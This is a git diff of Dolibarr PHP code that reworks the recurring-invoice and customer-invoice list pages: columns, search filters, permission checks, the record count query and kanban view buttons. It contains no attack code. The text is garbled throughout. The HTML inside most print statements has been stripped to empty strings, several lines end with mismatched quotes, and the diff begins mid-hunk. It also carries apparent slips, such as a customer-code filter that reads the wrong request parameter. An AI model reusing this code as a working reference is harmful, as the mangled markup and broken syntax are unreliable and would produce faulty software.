print ''; + if (!$i) { + $totalarray['nbfield']++; + } } + + $obj = $objp; // Extra fields - include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_search_title.tpl.php'; + include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_print_fields.tpl.php'; + // Fields from hook + $parameters = array('arrayfields'=>$arrayfields, 'object'=>$object, 'obj'=>$obj, 'i'=>$i, 'totalarray'=>&$totalarray); + $reshook = $hookmanager->executeHooks('printFieldListValue', $parameters, $object); // Note that $action and $object may have been modified by hook + print $hookmanager->resPrint; + // Status if (!empty($arrayfields['status']['checked'])) { - print_liste_field_titre($arrayfields['status']['label'], $_SERVER['PHP_SELF'], "f.suspended,f.frequency", "", $param, 'align="center"', $sortfield, $sortorder); + print ''; + if (!$i) { + $totalarray['nbfield']++; + } } - print_liste_field_titre($selectedfields, $_SERVER["PHP_SELF"], "", '', '', 'align="center"', $sortfield, $sortorder, 'center maxwidthsearch '); - print "\n"; - - if ($num > 0) { - $i = 0; - $totalarray = array(); - $totalarray['nbfield'] = 0; - $totalarray['val']['f.total_ht'] = 0; - $totalarray['val']['f.total_tva'] = 0; - $totalarray['val']['f.total_ttc'] = 0; - while ($i < min($num, $limit)) { - $objp = $db->fetch_object($resql); - if (empty($objp)) { - break; - } - - $companystatic->id = $objp->socid; - $companystatic->name = $objp->name; - - $invoicerectmp->id = !empty($objp->id) ? $objp->id : $objp->facid; - $invoicerectmp->frequency = $objp->frequency; - $invoicerectmp->suspended = $objp->suspended; - $invoicerectmp->unit_frequency = $objp->unit_frequency; - $invoicerectmp->nb_gen_max = $objp->nb_gen_max; - $invoicerectmp->nb_gen_done = $objp->nb_gen_done; - $invoicerectmp->ref = $objp->title; - $invoicerectmp->total_ht = $objp->total_ht; - $invoicerectmp->total_tva = $objp->total_tva; - $invoicerectmp->total_ttc = $objp->total_ttc; - - print ''; - - if (!empty($arrayfields['f.titre']['checked'])) { - print '\n"; - if (!$i) { - $totalarray['nbfield']++; - } - } - if (!empty($arrayfields['s.nom']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - if (!empty($arrayfields['f.total_ht']['checked'])) { - print ''."\n"; - if (!$i) { - $totalarray['nbfield']++; - } - if (!$i) { - $totalarray['pos'][$totalarray['nbfield']] = 'f.total_ht'; - } - $totalarray['val']['f.total_ht'] += $objp->total_ht; - } - if (!empty($arrayfields['f.total_tva']['checked'])) { - print ''."\n"; - if (!$i) { - $totalarray['nbfield']++; - } - if (!$i) { - $totalarray['pos'][$totalarray['nbfield']] = 'f.total_tva'; - } - $totalarray['val']['f.total_tva'] += $objp->total_tva; - } - if (!empty($arrayfields['f.total_ttc']['checked'])) { - print ''."\n"; - if (!$i) { - $totalarray['nbfield']++; - } - if (!$i) { - $totalarray['pos'][$totalarray['nbfield']] = 'f.total_ttc'; - } - $totalarray['val']['f.total_ttc'] += $objp->total_ttc; - } - // Payment term - if (!empty($arrayfields['f.fk_cond_reglement']['checked'])) { - print ''."\n"; - if (!$i) { - $totalarray['nbfield']++; - } - } - // Payment mode - if (!empty($arrayfields['f.fk_mode_reglement']['checked'])) { - print ''."\n"; - if (!$i) { - $totalarray['nbfield']++; - } - } - // Is it a recurring invoice - if (!empty($arrayfields['recurring']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - if (!empty($arrayfields['f.frequency']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - if (!empty($arrayfields['f.unit_frequency']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - if (!empty($arrayfields['f.nb_gen_done']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - // Date last generation - if (!empty($arrayfields['f.date_last_gen']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - // Date next generation - if (!empty($arrayfields['f.date_when']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - if (!empty($arrayfields['f.fk_user_author']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - if (!empty($arrayfields['f.fk_user_modif']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - if (!empty($arrayfields['f.datec']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - if (!empty($arrayfields['f.tms']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - - $obj = $objp; - // Extra fields - include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_print_fields.tpl.php'; - // Fields from hook - $parameters = array('arrayfields'=>$arrayfields, 'obj'=>$objp, 'i'=>$i, 'totalarray'=>&$totalarray); - $reshook = $hookmanager->executeHooks('printFieldListValue', $parameters, $object); // Note that $action and $object may have been modified by hook - print $hookmanager->resPrint; - // Status - if (!empty($arrayfields['status']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - // Action column - print '"; - - print "\n"; - - $i++; - } - } else { - $colspan = 1; - foreach ($arrayfields as $key => $val) { - if (!empty($val['checked'])) { - $colspan++; + print $form->textwithpicto('', $langs->trans("DateIsNotEnough")); } } - print ''; + print ''; + if (!$i) { + $totalarray['nbfield']++; + } } - // Show total line - include DOL_DOCUMENT_ROOT.'/core/tpl/list_print_total.tpl.php'; + print ''."\n"; - - print "
      '; + $searchpicto = $form->showFilterButtons('left'); + print $searchpicto; + print ''; + print ''; + print ''; + print ''; + print ''; + print ''; + print ''; + print ''; + print ''; + print $form->getSelectConditionsPaiements($search_payment_term, 'search_payment_term', -1, 1, 1, 'maxwidth100'); + print "'; + print $form->select_types_paiements($search_payment_mode, 'search_payment_mode', '', 0, 1, 1, 0, 1, 'maxwidth100', 1); + print ''; + print $form->selectyesno('search_recurring', $search_recurring, 1, false, 1); + print ''; + print ''; + print ''; + print ''; + print ''; + print ''; + print ''; + print '
      '; + print $form->selectDate($search_date_start ? $search_date_start : -1, 'search_date_start', 0, 0, 1, '', 1, 0, 0, '', '', '', '', 1, '', $langs->trans('From')); + print '
      '; + print '
      '; + print $form->selectDate($search_date_end ? $search_date_end : -1, 'search_date_end', 0, 0, 1, '', 1, 0, 0, '', '', '', '', 1, '', $langs->trans('to')); + print '
      '; + print '
      '; + print '
      '; + print $form->selectDate($search_date_when_start ? $search_date_when_start : -1, 'search_date_when_start', 0, 0, 1, '', 1, 0, 0, '', '', '', '', 1, '', $langs->trans('From')); + print '
      '; + print '
      '; + print $form->selectDate($search_date_when_end ? $search_date_when_end : -1, 'search_date_when_end', 0, 0, 1, '', 1, 0, 0, '', '', '', '', 1, '', $langs->trans('to')); + print '
      '; + print '
      '; + print ''; + print ''; + print ''; + print ''; + $liststatus = array( + 0=>$langs->trans("Draft"), + 1=>$langs->trans("Active"), + -1=>$langs->trans("Disabled"), + ); + print $form->selectarray('search_status', $liststatus, $search_status, -2, 0, 0, '', 0, 0, 0, '', 'width100 onrightofpage'); + print ''; $searchpicto = $form->showFilterButtons(); print $searchpicto; print '
      '; + if ($user->rights->facture->creer && empty($invoicerectmp->suspended)) { + if ($invoicerectmp->isMaxNbGenReached()) { + print $langs->trans("MaxNumberOfGenerationReached"); + } elseif (empty($objp->frequency) || $db->jdate($objp->date_when) <= $today) { + print ''; + print img_picto($langs->trans("CreateBill"), 'add', 'class="paddingrightonly"'); + print $langs->trans("CreateBill").''; + } else { + print $form->textwithpicto('', $langs->trans("DateIsNotEnough")); + } + } + print ''; + print $invoicerectmp->getNomUrl(1); + print "'.$companystatic->getNomUrl(1, 'customer').''.price($objp->total_ht).''.price($objp->total_tva).''.price($objp->total_ttc).''; + $form->form_conditions_reglement('', $objp->fk_cond_reglement, 'none'); + print ''; + $form->form_modes_reglement('', $objp->fk_mode_reglement, 'none'); + print ''.($objp->frequency ? img_picto($langs->trans("Frequency").': '.$objp->frequency.' '.$objp->unit_frequency, 'recurring', 'class="opacitymedium"').' ' : '').yn($objp->frequency ? 1 : 0).''.($objp->frequency > 0 ? $objp->frequency : '').''.($objp->frequency > 0 ? $objp->unit_frequency : '').''; + print ($objp->frequency > 0 ? $objp->nb_gen_done.($objp->nb_gen_max > 0 ? ' / '.$objp->nb_gen_max : '') : ''.$langs->trans('NA').''); + print ''; + print ($objp->frequency > 0 ? dol_print_date($db->jdate($objp->date_last_gen), 'day') : ''.$langs->trans('NA').''); + print ''; + print '
      '; + print ($objp->frequency ? ($invoicerectmp->isMaxNbGenReached() ? '' : '').dol_print_date($db->jdate($objp->date_when), 'day').($invoicerectmp->isMaxNbGenReached() ? '' : '') : ''.$langs->trans('NA').''); + if (!$invoicerectmp->isMaxNbGenReached()) { + if (!$objp->suspended && $objp->frequency > 0 && $db->jdate($objp->date_when) && $db->jdate($objp->date_when) < $now) { + print img_warning($langs->trans("Late")); + } + } else { + print img_info($langs->trans("MaxNumberOfGenerationReached")); + } + print '
      '; + print '
      '; + if ($objp->fk_user_author > 0) { + $tmpuser->fetch($objp->fk_user_author); + print $tmpuser->getNomUrl(1); + } + print ''; + if ($objp->fk_user_author > 0) { + $tmpuser->fetch($objp->fk_user_author); + print $tmpuser->getNomUrl(1); + } + print ''; + print dol_print_date($db->jdate($objp->datec), 'dayhour'); + print ''; + print dol_print_date($db->jdate($objp->tms), 'dayhour'); + print ''; + print $invoicerectmp->getLibStatut(5, 0); + print '
      '; - print $invoicerectmp->getNomUrl(1); - print "'.$companystatic->getNomUrl(1, 'customer').''.price($objp->total_ht).''.price($objp->total_tva).''.price($objp->total_ttc).''; - $form->form_conditions_reglement('', $objp->fk_cond_reglement, 'none'); - print ''; - $form->form_modes_reglement('', $objp->fk_mode_reglement, 'none'); - print ''.($objp->frequency ? img_picto($langs->trans("Frequency").': '.$objp->frequency.' '.$objp->unit_frequency, 'recurring', 'class="opacitymedium"').' ' : '').yn($objp->frequency ? 1 : 0).''.($objp->frequency > 0 ? $objp->frequency : '').''.($objp->frequency > 0 ? $objp->unit_frequency : '').''; - print ($objp->frequency > 0 ? $objp->nb_gen_done.($objp->nb_gen_max > 0 ? ' / '.$objp->nb_gen_max : '') : ''.$langs->trans('NA').''); - print ''; - print ($objp->frequency > 0 ? dol_print_date($db->jdate($objp->date_last_gen), 'day') : ''.$langs->trans('NA').''); - print ''; - print '
      '; - print ($objp->frequency ? ($invoicerectmp->isMaxNbGenReached() ? '' : '').dol_print_date($db->jdate($objp->date_when), 'day').($invoicerectmp->isMaxNbGenReached() ? '' : '') : ''.$langs->trans('NA').''); - if (!$invoicerectmp->isMaxNbGenReached()) { - if (!$objp->suspended && $objp->frequency > 0 && $db->jdate($objp->date_when) && $db->jdate($objp->date_when) < $now) { - print img_warning($langs->trans("Late")); - } - } else { - print img_info($langs->trans("MaxNumberOfGenerationReached")); - } - print '
      '; - print '
      '; - if ($objp->fk_user_author > 0) { - $tmpuser->fetch($objp->fk_user_author); - print $tmpuser->getNomUrl(1); - } - print ''; - if ($objp->fk_user_author > 0) { - $tmpuser->fetch($objp->fk_user_author); - print $tmpuser->getNomUrl(1); - } - print ''; - print dol_print_date($db->jdate($objp->datec), 'dayhour'); - print ''; - print dol_print_date($db->jdate($objp->tms), 'dayhour'); - print ''; - print $invoicerectmp->getLibStatut(3, 0); - print ''; - if ($user->rights->facture->creer && empty($invoicerectmp->suspended)) { - if ($invoicerectmp->isMaxNbGenReached()) { - print $langs->trans("MaxNumberOfGenerationReached"); - } elseif (empty($objp->frequency) || $db->jdate($objp->date_when) <= $today) { - print ''; - print img_picto($langs->trans("CreateBill"), 'add', 'class="paddingrightonly"'); - print $langs->trans("CreateBill").''; - } else { - print $form->textwithpicto('', $langs->trans("DateIsNotEnough")); - } + // Action column + if (!getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; + if ($user->rights->facture->creer && empty($invoicerectmp->suspended)) { + if ($invoicerectmp->isMaxNbGenReached()) { + print $langs->trans("MaxNumberOfGenerationReached"); + } elseif (empty($objp->frequency) || $db->jdate($objp->date_when) <= $today) { + print ''; + print img_picto($langs->trans("CreateBill"), 'add', 'class="paddingrightonly"'); + print $langs->trans("CreateBill").''; } else { - print " "; - } - if (!$i) { - $totalarray['nbfield']++; - } - print "
      '.$langs->trans("NoRecordFound").'
      "; - print "
      "; - print ""; - - $db->free($resql); -} else { - dol_print_error($db); + $i++; } +// Show total line +include DOL_DOCUMENT_ROOT.'/core/tpl/list_print_total.tpl.php'; + +// If no record found +if ($num == 0) { + $colspan = 1; + foreach ($arrayfields as $key => $val) { + if (!empty($val['checked'])) { + $colspan++; + } + } + print '
      '.$langs->trans("NoRecordFound").'
      '."\n"; +print '
      '."\n"; + +print ''."\n"; + + // End of page llxFooter(); $db->close(); diff --git a/htdocs/compta/facture/list.php b/htdocs/compta/facture/list.php index 46cf6b73ac4..928ffcfc4bd 100644 --- a/htdocs/compta/facture/list.php +++ b/htdocs/compta/facture/list.php @@ -75,6 +75,7 @@ $confirm = GETPOST('confirm', 'alpha'); $toselect = GETPOST('toselect', 'array'); $optioncss = GETPOST('optioncss', 'alpha'); $contextpage = GETPOST('contextpage', 'aZ') ?GETPOST('contextpage', 'aZ') : 'invoicelist'; +$mode = GETPOST('mode', 'alpha'); if ($contextpage == 'poslist') { $optioncss = 'print'; @@ -111,6 +112,7 @@ $search_zip = GETPOST('search_zip', 'alpha'); $search_state = GETPOST("search_state"); $search_country = GETPOST("search_country", 'alpha'); $search_type_thirdparty = GETPOST("search_type_thirdparty", 'int'); +$search_company_code_client = GETPOST("search_type_thirdparty", 'alpha'); $search_user = GETPOST('search_user', 'int'); $search_sale = GETPOST('search_sale', 'int'); $search_date_startday = GETPOST('search_date_startday', 'int'); @@ -199,6 +201,7 @@ $fieldstosearchall = array( 'f.ref_client'=>'RefCustomer', 'f.note_public'=>'NotePublic', 's.nom'=>"ThirdParty", + 's.code_client'=>"CustomerCodeShort", 's.name_alias'=>"AliasNameShort", 's.zip'=>"Zip", 's.town'=>"Town", @@ -221,6 +224,7 @@ $arrayfields = array( 'p.title'=>array('label'=>"ProjectLabel", 'checked'=>0, 'enabled'=>(!isModEnabled('project') ? 0 : 1), 'position'=>41), 's.nom'=>array('label'=>"ThirdParty", 'checked'=>1, 'position'=>50), 's.name_alias'=>array('label'=>"AliasNameShort", 'checked'=>1, 'position'=>51), + 's.code_client'=>array('label'=>"CustomerCodeShort", 'checked'=>-1, 'position'=>52), 's2.nom'=>array('label'=>'ParentCompany', 'position'=>32, 'checked'=>0), 's.town'=>array('label'=>"Town", 'checked'=>-1, 'position'=>55), 's.zip'=>array('label'=>"Zip", 'checked'=>1, 'position'=>60), @@ -229,8 +233,8 @@ $arrayfields = array( 'typent.code'=>array('label'=>"ThirdPartyType", 'checked'=>$checkedtypetiers, 'position'=>75), 'f.fk_mode_reglement'=>array('label'=>"PaymentMode", 'checked'=>1, 'position'=>80), 'f.fk_cond_reglement'=>array('label'=>"PaymentConditionsShort", 'checked'=>1, 'position'=>85), - 'f.module_source'=>array('label'=>"POSModule", 'checked'=>($contextpage == 'poslist' ? 1 : 0), 'enabled'=>((empty($conf->cashdesk->enabled) && empty($conf->takepos->enabled) && empty($conf->global->INVOICE_SHOW_POS)) ? 0 : 1), 'position'=>90), - 'f.pos_source'=>array('label'=>"POSTerminal", 'checked'=>($contextpage == 'poslist' ? 1 : 0), 'enabled'=>((empty($conf->cashdesk->enabled) && empty($conf->takepos->enabled) && empty($conf->global->INVOICE_SHOW_POS)) ? 0 : 1), 'position'=>91), + 'f.module_source'=>array('label'=>"POSModule", 'langs'=>'cashdesk', 'checked'=>($contextpage == 'poslist' ? 1 : 0), 'enabled'=>((empty($conf->cashdesk->enabled) && empty($conf->takepos->enabled) && empty($conf->global->INVOICE_SHOW_POS)) ? 0 : 1), 'position'=>90), + 'f.pos_source'=>array('label'=>"POSTerminal", 'langs'=>'cashdesk', 'checked'=>($contextpage == 'poslist' ? 1 : 0), 'enabled'=>((empty($conf->cashdesk->enabled) && empty($conf->takepos->enabled) && empty($conf->global->INVOICE_SHOW_POS)) ? 0 : 1), 'position'=>91), 'f.total_ht'=>array('label'=>"AmountHT", 'checked'=>1, 'position'=>95), 'f.total_tva'=>array('label'=>"AmountVAT", 'checked'=>0, 'position'=>100), 'f.total_localtax1'=>array('label'=>$langs->transcountry("AmountLT1", $mysoc->country_code), 'checked'=>0, 'enabled'=>($mysoc->localtax1_assuj == "1"), 'position'=>110), @@ -238,8 +242,6 @@ $arrayfields = array( 'f.total_ttc'=>array('label'=>"AmountTTC", 'checked'=>0, 'position'=>130), 'dynamount_payed'=>array('label'=>"Received", 'checked'=>0, 'position'=>140), 'rtp'=>array('label'=>"Rest", 'checked'=>0, 'position'=>150), // Not enabled by default because slow - 'u.login'=>array('label'=>"Author", 'checked'=>1, 'position'=>165), - 'sale_representative'=>array('label'=>"SaleRepresentativesOfThirdParty", 'checked'=>0, 'position'=>166), 'f.multicurrency_code'=>array('label'=>'Currency', 'checked'=>0, 'enabled'=>(!isModEnabled('multicurrency') ? 0 : 1), 'position'=>280), 'f.multicurrency_tx'=>array('label'=>'CurrencyRate', 'checked'=>0, 'enabled'=>(!isModEnabled('multicurrency') ? 0 : 1), 'position'=>285), 'f.multicurrency_total_ht'=>array('label'=>'MulticurrencyAmountHT', 'checked'=>0, 'enabled'=>(!isModEnabled('multicurrency') ? 0 : 1), 'position'=>290), @@ -252,10 +254,16 @@ $arrayfields = array( 'total_margin_rate' => array('label' => 'MarginRate', 'checked' => 0, 'position' => 302, 'enabled' => (!isModEnabled('margin') || empty($user->rights->margins->liretous) || empty($conf->global->DISPLAY_MARGIN_RATES) ? 0 : 1)), 'total_mark_rate' => array('label' => 'MarkRate', 'checked' => 0, 'position' => 303, 'enabled' => (!isModEnabled('margin') || empty($user->rights->margins->liretous) || empty($conf->global->DISPLAY_MARK_RATES) ? 0 : 1)), 'f.datec'=>array('label'=>"DateCreation", 'checked'=>0, 'position'=>500), - 'f.tms'=>array('label'=>"DateModificationShort", 'checked'=>0, 'position'=>502), - 'f.note_public'=>array('label'=>'NotePublic', 'checked'=>0, 'position'=>510, 'enabled'=>(!getDolGlobalInt('MAIN_LIST_HIDE_PUBLIC_NOTES'))), - 'f.note_private'=>array('label'=>'NotePrivate', 'checked'=>0, 'position'=>511, 'enabled'=>(!getDolGlobalInt('MAIN_LIST_HIDE_PRIVATE_NOTES'))), - 'f.fk_fac_rec_source'=>array('label'=>'GeneratedFromTemplate', 'checked'=>0, 'position'=>520, 'enabled'=>'1'), + 'f.tms' =>array('type'=>'timestamp', 'label'=>'DateModificationShort', 'enabled'=>1, 'visible'=>-1, 'notnull'=>1, 'position'=>502), + 'u.login'=>array('label'=>"UserAuthor", 'checked'=>1, 'position'=>504), + 'sale_representative'=>array('label'=>"SaleRepresentativesOfThirdParty", 'checked'=>0, 'position'=>506), + //'f.fk_user_author' =>array('type'=>'integer:User:user/class/user.class.php', 'label'=>'UserAuthor', 'enabled'=>1, 'visible'=>-1, 'position'=>506), + //'f.fk_user_modif' =>array('type'=>'integer:User:user/class/user.class.php', 'label'=>'UserModif', 'enabled'=>1, 'visible'=>-1, 'notnull'=>-1, 'position'=>508), + //'f.fk_user_valid' =>array('type'=>'integer:User:user/class/user.class.php', 'label'=>'UserValidation', 'enabled'=>1, 'visible'=>-1, 'position'=>510), + //'f.fk_user_closing' =>array('type'=>'integer:User:user/class/user.class.php', 'label'=>'UserClosing', 'enabled'=>1, 'visible'=>-1, 'position'=>512), + 'f.note_public'=>array('label'=>'NotePublic', 'checked'=>0, 'position'=>520, 'enabled'=>(!getDolGlobalInt('MAIN_LIST_HIDE_PUBLIC_NOTES'))), + 'f.note_private'=>array('label'=>'NotePrivate', 'checked'=>0, 'position'=>521, 'enabled'=>(!getDolGlobalInt('MAIN_LIST_HIDE_PRIVATE_NOTES'))), + 'f.fk_fac_rec_source'=>array('label'=>'GeneratedFromTemplate', 'checked'=>0, 'position'=>530, 'enabled'=>'1'), 'f.fk_statut'=>array('label'=>"Status", 'checked'=>1, 'position'=>1000), ); @@ -265,10 +273,11 @@ if (getDolGlobalString("INVOICE_USE_SITUATION") && !empty($conf->global->INVOICE // Overwrite $arrayfields from columns into ->fields (transition before removal of $arrayoffields) foreach ($object->fields as $key => $val) { // If $val['visible']==0, then we never show the field + if (!empty($val['visible'])) { $visible = (int) dol_eval($val['visible'], 1, 1, '1'); $newkey = ''; - if (array_key_exists($key, $arrayfields)) { $newkey = $key; } elseif (array_key_exists('t.'.$key, $arrayfields)) { $newkey = 't.'.$key; } elseif (array_key_exists('f.'.$key, $arrayfields)) { $newkey = 'f.'.$key; } elseif (array_key_exists('s.'.$key, $arrayfields)) { $newkey = 's.'.$key; } + if (array_key_exists($key, $arrayfields)) { $newkey = $key; } elseif (array_key_exists('f.'.$key, $arrayfields)) { $newkey = 'f.'.$key; } elseif (array_key_exists('f.'.$key, $arrayfields)) { $newkey = 'f.'.$key; } elseif (array_key_exists('s.'.$key, $arrayfields)) { $newkey = 's.'.$key; } if ($newkey) { $arrayfields[$newkey] = array( 'label'=>$val['label'], @@ -299,7 +308,7 @@ if (!GETPOST('confirmmassaction', 'alpha') && $massaction != 'presend' && $massa $massaction = ''; } -$parameters = array('socid'=>$socid); +$parameters = array('socid'=>$socid, 'arrayfields'=>&$arrayfields); $reshook = $hookmanager->executeHooks('doActions', $parameters, $object, $action); // Note that $action and $object may have been modified by some hooks if ($reshook < 0) { setEventMessages($hookmanager->error, $hookmanager->errors, 'errors'); @@ -376,9 +385,9 @@ if (GETPOST('button_removefilter_x', 'alpha') || GETPOST('button_removefilter', if (empty($reshook)) { $objectclass = 'Facture'; $objectlabel = 'Invoices'; - $permissiontoread = $user->rights->facture->lire; - $permissiontoadd = $user->rights->facture->creer; - $permissiontodelete = $user->rights->facture->supprimer; + $permissiontoread = $user->hasRight("facture", "lire"); + $permissiontoadd = $user->hasRight("facture", "creer"); + $permissiontodelete = $user->hasRight("facture", "supprimer"); $uploaddir = $conf->facture->dir_output; include DOL_DOCUMENT_ROOT.'/core/actions_massactions.inc.php'; } @@ -558,6 +567,9 @@ $companystatic = new Societe($db); $companyparent = new Societe($db); $company_url_list = array(); +$varpage = empty($contextpage) ? $_SERVER["PHP_SELF"] : $contextpage; +$selectedfields = $form->multiSelectArrayWithCheckbox('selectedfields', $arrayfields, $varpage); // This also change content of $arrayfields + $sql = 'SELECT'; if ($sall || $search_user > 0) { $sql = 'SELECT DISTINCT'; @@ -597,6 +609,9 @@ if (!empty($extrafields->attributes[$object->table_element]['label'])) { $parameters = array(); $reshook = $hookmanager->executeHooks('printFieldListSelect', $parameters, $object, $action); // Note that $action and $object may have been modified by hook $sql .= $hookmanager->resPrint; + +$sqlfields = $sql; // $sql fields to remove for count total + $sql .= ' FROM '.MAIN_DB_PREFIX.'societe as s'; $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."societe as s2 ON s2.rowid = s.parent"; $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."c_country as country on (country.rowid = s.fk_pays)"; @@ -667,15 +682,22 @@ if ($search_project_ref) { if ($search_project) { $sql .= natural_search('p.title', $search_project); } -if ($search_company) { - $sql .= natural_search('s.nom', $search_company); -} -if ($search_company_alias) { - $sql .= natural_search('s.name_alias', $search_company_alias); +if (empty($arrayfields['s.name_alias']['checked']) && $search_company) { + $sql .= natural_search(array("s.nom", "s.name_alias"), $search_company); +} else { + if ($search_company) { + $sql .= natural_search('s.nom', $search_company); + } + if ($search_company_alias) { + $sql .= natural_search('s.name_alias', $search_company_alias); + } } if ($search_parent_name) { $sql .= natural_search('s2.nom', $search_parent_name); } +if ($search_company_code_client) { + $sql .= natural_search('s.code_client', $search_company_code_client); +} if ($search_town) { $sql .= natural_search('s.town', $search_town); } @@ -833,7 +855,7 @@ if (!empty($searchCategoryProductList)) { } } } -$searchCategoryCustomerList = $search_categ_cus ? array($search_categ_cus) : array();; +$searchCategoryCustomerList = $search_categ_cus ? array($search_categ_cus) : array(); $searchCategoryCustomerOperator = 0; // Search for tag/category ($searchCategoryCustomerList is an array of ID) if (!empty($searchCategoryCustomerList)) { @@ -911,21 +933,12 @@ $parameters = array(); $reshook = $hookmanager->executeHooks('printFieldListHaving', $parameters, $object); // Note that $action and $object may have been modified by hook $sql .= empty($hookmanager->resPrint) ? "" : " HAVING 1=1 ".$hookmanager->resPrint; +// Count total nb of records $nbtotalofrecords = ''; if (empty($conf->global->MAIN_DISABLE_FULL_SCANLIST)) { - /* This old and fast method to get and count full list returns all record so use a high amount of memory. - $result = $db->query($sql); - $nbtotalofrecords = $db->num_rows($result); - */ /* The fast and low memory method to get and count full list converts the sql into a sql count */ - if ($sall || $search_user > 0) { - $sqlforcount = preg_replace('/^SELECT[a-zA-Z0-9\._\s\(\),=<>\:\-\']+\sFROM/Ui', 'SELECT COUNT(DISTINCT f.rowid) as nbtotalofrecords FROM', $sql); - } else { - $sqlforcount = preg_replace('/^SELECT[a-zA-Z0-9\._\s\(\),=<>\:\-\']+\sFROM/Ui', 'SELECT COUNT(f.rowid) as nbtotalofrecords FROM', $sql); - $sqlforcount = preg_replace('/LEFT JOIN '.MAIN_DB_PREFIX.'paiement_facture as pf ON pf.fk_facture = f.rowid/', '', $sqlforcount); - } - $sqlforcount = preg_replace('/GROUP BY.*$/', '', $sqlforcount); - + $sqlforcount = preg_replace('/^'.preg_quote($sqlfields, '/').'/', 'SELECT COUNT(*) as nbtotalofrecords', $sql); + $sqlforcount = preg_replace('/GROUP BY .*$/', '', $sqlforcount); $resql = $db->query($sqlforcount); if ($resql) { $objforcount = $db->fetch_object($resql); @@ -934,7 +947,7 @@ if (empty($conf->global->MAIN_DISABLE_FULL_SCANLIST)) { dol_print_error($db); } - if (($page * $limit) > $nbtotalofrecords) { // if total of record found is smaller than page * limit, goto and load page 0 + if (($page * $limit) > $nbtotalofrecords) { // if total resultset is smaller then paging size (filtering), goto and load page 0 $page = 0; $offset = 0; } @@ -942,13 +955,7 @@ if (empty($conf->global->MAIN_DISABLE_FULL_SCANLIST)) { } // Complete request and execute it with limit -$sql .= ' ORDER BY '; -$listfield = explode(',', $sortfield); -$listorder = explode(',', $sortorder); -foreach ($listfield as $key => $value) { - $sql .= $listfield[$key].' '.($listorder[$key] ? $listorder[$key] : 'DESC').','; -} -$sql .= ' f.rowid DESC '; +$sql .= $db->order($sortfield, $sortorder); if ($limit) { $sql .= $db->plimit($limit + 1, $offset); } @@ -979,6 +986,9 @@ if ($resql) { } $param = '&socid='.urlencode($socid); + if (!empty($mode)) { + $param .= '&mode='.urlencode($mode); + } if (!empty($contextpage) && $contextpage != $_SERVER["PHP_SELF"]) { $param .= '&contextpage='.urlencode($contextpage); } @@ -1190,7 +1200,10 @@ if ($resql) { if (!empty($socid)) { $url .= '&socid='.$socid; } - $newcardbutton = dolGetButtonTitle($langs->trans('NewBill'), '', 'fa fa-plus-circle', $url, '', $user->rights->facture->creer); + $newcardbutton = ''; + $newcardbutton .= dolGetButtonTitle($langs->trans('ViewList'), '', 'fa fa-bars imgforviewmode', $_SERVER["PHP_SELF"].'?mode=common'.preg_replace('/(&|\?)*mode=[^&]+/', '', $param), '', ((empty($mode) || $mode == 'common') ? 2 : 1), array('morecss'=>'reposition')); + $newcardbutton .= dolGetButtonTitle($langs->trans('ViewKanban'), '', 'fa fa-th-list imgforviewmode', $_SERVER["PHP_SELF"].'?mode=kanban'.preg_replace('/(&|\?)*mode=[^&]+/', '', $param), '', ($mode == 'kanban' ? 2 : 1), array('morecss'=>'reposition')); + $newcardbutton = dolGetButtonTitle($langs->trans('NewBill'), '', 'fa fa-plus-circle', $url, '', $user->hasRight("facture", "creer")); } $i = 0; @@ -1209,6 +1222,7 @@ if ($resql) { print ''; print ''; print ''; + print ''; print_barre_liste($langs->trans('BillsCustomers').' '.($socid > 0 ? ' '.$soc->name : ''), $page, $_SERVER["PHP_SELF"], $param, $sortfield, $sortorder, $massactionbutton, $num, $nbtotalofrecords, 'bill', 0, $newcardbutton, '', $limit, 0, 0, 1); @@ -1242,7 +1256,7 @@ if ($resql) { // If the user can view prospects other than his' $moreforfilter = ''; - if ($user->rights->user->user->lire) { + if ($user->hasRight("user", "user", "lire")) { $langs->load("commercial"); $moreforfilter .= '
      '; $tmptitle = $langs->trans('ThirdPartiesOfSaleRepresentative'); @@ -1250,14 +1264,14 @@ if ($resql) { $moreforfilter .= '
      '; } // If the user can view prospects other than his' - if ($user->rights->user->user->lire) { + if ($user->hasRight("user", "user", "lire")) { $moreforfilter .= '
      '; $tmptitle = $langs->trans('LinkedToSpecificUsers'); $moreforfilter .= img_picto($tmptitle, 'user', 'class="pictofixedwidth"').$form->select_dolusers($search_user, 'search_user', $tmptitle, '', 0, '', '', 0, 0, 0, '', 0, '', 'maxwidth250'); $moreforfilter .= '
      '; } // Filter on product tags - if (isModEnabled('categorie') && $user->rights->categorie->lire && ($user->rights->produit->lire || $user->rights->service->lire)) { + if (isModEnabled('categorie') && $user->hasRight("categorie", "lire") && ($user->hasRight("produit", "lire") || $user->hasRight("service", "lire"))) { include_once DOL_DOCUMENT_ROOT.'/categories/class/categorie.class.php'; $moreforfilter .= '
      '; $tmptitle = $langs->trans('IncludingProductWithTag'); @@ -1265,7 +1279,7 @@ if ($resql) { $moreforfilter .= img_picto($tmptitle, 'category', 'class="pictofixedwidth"').$form->selectarray('search_product_category', $cate_arbo, $search_product_category, $tmptitle, 0, 0, '', 0, 0, 0, 0, 'maxwidth250', 1); $moreforfilter .= '
      '; } - if (isModEnabled('categorie') && $user->rights->categorie->lire) { + if (isModEnabled('categorie') && $user->hasRight("categorie", "lire")) { require_once DOL_DOCUMENT_ROOT.'/categories/class/categorie.class.php'; $moreforfilter .= '
